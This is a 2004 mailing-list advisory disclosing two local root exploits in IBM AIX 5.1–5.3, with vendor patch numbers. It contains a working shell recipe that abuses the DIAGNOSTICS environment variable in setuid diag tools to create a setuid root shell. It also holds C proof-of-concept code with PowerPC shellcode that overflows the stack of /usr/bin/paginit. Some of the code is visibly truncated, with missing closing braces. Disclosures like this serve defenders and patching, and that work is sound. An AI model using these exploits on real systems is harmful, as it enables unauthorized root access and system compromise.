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AIX 5.1/5.2/5.3 local root exploits
From: cees-bart <ceesb () cs ru nl>
Date: Mon, 20 Dec 2004 12:10:41 +0100


i found some local security holes in IBM's AIX versions 5.1, 5.2 and 5.3 (unix for IBM RS/6000 powerpc).

1) the first is a bug in all setuid diag related tools that use an environment variable as a prefix to an external binary executed as root.

2) the second is a classical stack overflow in a tool called paginit.

status: vendor contacted, patches are available:

1) for the diag bug, bugfix numbers are IY64389(5.1), IY64523(5.2), and IY64277(5.3). 2) for the paginit bug, bugfix numbers are IY64358(5.1), IY64522(5.2), and IY64312(5.3).

bug descriptions below.

phd student @ university of nijmegen


bug 1:

there are (at least) 4 broken suid binaries.

-r-sr-xr-x   1 root     system        10014 Sep 16 2002  /usr/sbin/lsmcode
-r-sr-x--- 1 root system 2796 Jan 26 2003 /usr/sbin/diag_exec
-r-sr-xr-x   1 root     system       450433 Apr 08 2004  /usr/sbin/invscout
-r-sr-xr-x 1 root system 511362 Apr 08 2004 /usr/sbin/invscoutd

all these binaries are exploited the same way: the path set in the $DIAGNOSTICS environment is used by these binaries to execute $DIAGNOSTICS/bin/Dctrl as root (duh).

for example; executing the following gives a root shell:

mkdirhier /tmp/aap/bin
export DIAGNOSTICS=/tmp/aap
cat > /tmp/aap/bin/Dctrl << EOF
cp /bin/sh /tmp/.shh
chown root:system /tmp/.shh
chmod u+s /tmp/.shh
chmod a+x /tmp/aap/bin/Dctrl

bug 2:

the following setuid binary:

-r-sr-xr-x   1 root     security       7354 Mar 12 2003  /usr/bin/paginit

does not do a bounds check on the first commandline argument, which is supposed to be a username. if you feed paginit the proper data and hit enter, root priviledges are gained.

POC exploit code:

/* exploit for /usr/bin/paginit
  tested on: AIX 5.2

  if the exploit fails it's because the shellcode
  ends up at a different address. use dbx to check,
  and change RETADDR accordingly.

  cees-bart <ceesb () cs ru nl>

#define RETADDR 0x2ff22c90

char shellcode[] =
"\x40\x82\xff\xfd" "\x7c\xa8\x02\xa6" "\x38\xe0\x11\x11" "\x39\x20\x48\x11" "\x7c\xc7\x48\x10" "\x38\x46\xc9\x05" "\x39\x25\x11\x11" "\x38\x69\xef\x17" "\x38\x87\xee\xef" "\x7c\xc9\x03\xa6" "\x4e\x80\x04\x20" "\x2f\x62\x69\x6e" "\x2f\x73\x68\x00"

char envlabel[] = "X=";

void printint(char* buf, int x) {
 buf[0] = x >> 24;
 buf[1] = (x >> 16) & 0xff;
 buf[2] = (x >> 8) & 0xff;
 buf[3] = x & 0xff;

int main(int argc, char **argv) {
 char *env[3];
 char code[1000];
 char buf[8000];
 char *p, *i;
 int offset1 = 0;

 offset1 = 0; // atoi(argv[1]);
memset(code, 'C', sizeof(code));
 memcpy(code, envlabel,sizeof(envlabel)-1);
// landingzone for(i=code+sizeof(envlabel)+offset1; i<code+sizeof(code); i+=4) printint(i, 0x7ca52a79);

memcpy(code+sizeof(code)-sizeof(shellcode), shellcode, sizeof(shellcode)-1); code[sizeof(code)-1] = 0; env[0] = code;
 env[1] = 0;

 memset(buf, 'A', sizeof(buf));
buf[sizeof(buf)-1] = 0; p = buf;
 p += 4114;
 printint(p,RETADDR); // try to hit the landingzone
 p += 72;
 printint(p, RETADDR); // any readable address (apparently not overwritten)

 execle("/usr/bin/paginit", "/usr/bin/paginit", buf, 0, env);

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